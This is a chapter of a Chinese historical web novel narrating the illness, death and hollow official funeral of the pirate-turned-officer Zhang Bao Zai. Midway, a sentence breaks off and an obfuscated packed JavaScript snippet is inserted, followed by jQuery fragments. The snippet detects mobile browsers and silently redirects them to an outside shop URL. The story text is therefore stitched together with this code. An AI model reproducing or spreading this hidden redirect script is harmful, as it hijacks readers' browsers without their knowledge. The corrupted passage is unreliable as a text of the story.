第一百八十九章 张保仔的黄昏

作品:《澳门风云--海上争霸300年

    官至参将,秩居三品,对于一位降将而言,张保的仕途似乎已走到了一个令人瞩目的高度。


    在表面的风光之下,那身绯色官袍早已被无形的荆棘刺得千疮百孔,浸透了难以与外人道的疲惫与孤寂。岁月的流逝并未抚平他内心的撕裂,反而如同珠江口的潮汐,一次次将那些沉淀的愧疚、挣扎与茫然重新翻涌上来。


    他越发像一座漂浮在官场浊流上的孤岛。与旧日海上同袍的情谊,因地位悬殊和刻意避嫌而日渐疏远;与真正的清廷官僚体系,又始终隔着一层无法穿透的、名为“出身”的厚壁。


    他努力扮演着一个忠勇可靠的军官角色,出色地完成一次次巡缉、护航甚至小规模剿匪的任务,但每一次的成功,都仿佛是在用刀尖在自己过往的灵魂上刻下更深的痕迹。那些来自上司的、不咸不淡的嘉奖,同僚们表面恭维背后疏离的眼神,都让他感到一种彻骨的虚无。


    死亡的阴影,来得并非突如其来,更像是一种早已注定的、缓慢降临的黄昏。


    一种难以诊断的沉疴宿疾,或许是在多年海上生涯中埋下的病根,或许是在招安后无尽的内心煎熬中滋生出的郁结,开始悄然侵蚀他的身体。咳嗽日益剧烈,尤其在潮湿阴冷的季节,仿佛要将肺腑都咳出来。精力大不如前,原本锐利的眼神也时常蒙上一层挥之不去的倦意。


    请来的郎中诊脉后,多是摇头叹息,开出些温补调理的方子,却效果甚微。有人私下议论,说这是“心病”,非药石所能医。


    也有人在暗中揣测,这或许是某些不愿看到他继续“得意”的官场对手,用了某种隐秘的手段,毕竟,在波谲云诡的官场之中,让一个碍眼又根基不稳的“降贼”悄无声息地消失,并非难事。


    真相如何,已如同投入珠江的石子,沉入浑浊的江水,再也无从打捞。


    病情反反复复,拖了近一年光景。张保的身体如同风中残烛,迅速衰败下去。他终于无法再登船巡弋,只能卧于病榻之上。广州城内那座朝廷赐予的、却从未让他感到温暖的参将府邸,成了他最后的囚笼。


    弥留之际,床前冷清。并无多少同僚前来探视,人情冷暖,至此分明。只有几位念旧情的老仆和寥寥一两位因他提拔、尚且心存感激的旧部下属,守在门外,面带悲戚。


    意识模糊之际,他仿佛又回到了那片浩瀚无垠的蓝色疆域。


    耳边是猎猎的海风,脚下是“海龙号”熟悉的甲板随波起伏,眼前是郑一嫂果断指挥的身影,周围是崩牙巨、算盘陈等老兄弟们粗豪的笑骂声……那面鲜红的旗帜,在主桅杆上迎风招展,如同燃烧的火焰。


    “龙嫂……”


    “兄弟们……”


    “……等我……”


    破碎的呓语从他干裂的嘴唇中逸出,守在旁边的老仆听得模糊,只能暗暗垂泪。


    最终,在一个寂静的夜里,这位曾经叱咤南海、后又身陷官场囹圄的复杂人物,停止了呼吸。


    死时,年仅三十余岁。正是一个男人最富经验和力量的年华,他却已耗尽了所有的精力与热忱。


    他的死讯上报,在广东官场引起了一阵小小的涟漪。两广总督府依循惯例,发下恤银,给予了其作为三品武官应有的身后哀荣。


    一副上好的棺椁,一场符合规制的葬礼。水师提督衙门派来了代表,宣读了一篇公式化的悼词,表彰其“归顺以来,屡立战功,恪尽职守”,对其早逝表示“惋惜”。场面肃穆,礼仪周全,却透着一股公事公办的冰冷。


    葬礼上,前来吊唁的官员们神情肃穆,彼此交换着心照不宣的眼神。他们谈论的,或许更多是他的“幸运”——一个海匪能得此善终和哀荣,已是皇恩浩荡;或许是他留下的职位空缺,又将引发一番怎样的明争暗斗。没有人真正关心这个孤独死去的灵魂,曾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931464|187011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经历过怎样的波澜壮阔与内心挣扎。


    然而,在葬礼的人群边缘,在一些不起眼的角落里,零星站着一些身份普通、甚至衣着寒酸的人。


    他们中有的是侥幸存活下来的红旗帮旧部,如今已是苍老憔悴的百姓;有的是曾受过张保暗中关照、才得以苟活至今的故人家眷。


    他们不敢上前,不敢与那些官员们站在一起,只是远远地望着那副华丽的棺椁,望着棺椁上那冰冷的“参将张”字样,眼眶通红,无声地流淌着泪水。


    他们哭泣的,不是水师参将张保,而是那个曾经在海船上与他们同生共死、纵情豪饮的少年“保仔”;是那个在最后关头,为了给大家寻一条活路而力主招安的年轻头目;是那个即便身在官场,仍念着旧情、暗中施以援手的“自己人”。


    他们的泪水,是为一段无法复刻的热血青春,为一个被迫扭曲的忠诚灵魂,也是一面镜子,映照出这盛大葬礼背后,那无法被官方悼词所容纳的、真实而悲凉的底色。


    棺椁最终被葬于广州城外一处指定的墓园。墓碑上,依照官制,刻着“皇清诰授武义都尉广东水师参将张公保仔之墓”的字样,记录着他最后的、也是朝廷所承认的身份。


    许多年后,或许会有好奇的路人经过,看到这方墓碑,会猜测这位“张参将”生前有着怎样的故事。


    他们绝不会想到,这冰冷的石碑之下,长眠着的,曾是一个叫做“张保仔”的少年,他起于微末,曾怒海争锋,一度让整个帝国为之震动,最终却身陷罗网,在无尽的矛盾与孤寂中,走完了他短暂而跌宕的一生。


    他的传奇,在官方的记载中被刻意淡化、扭曲,最终化为了历史长卷中一个模糊难辨的墨点。唯有那南海的波涛,或许还在某个夜深人静的时候,呜咽地吟唱着一段关于红帆、关于少年、关于背叛与忠诚的、早已被世人遗忘的歌谣。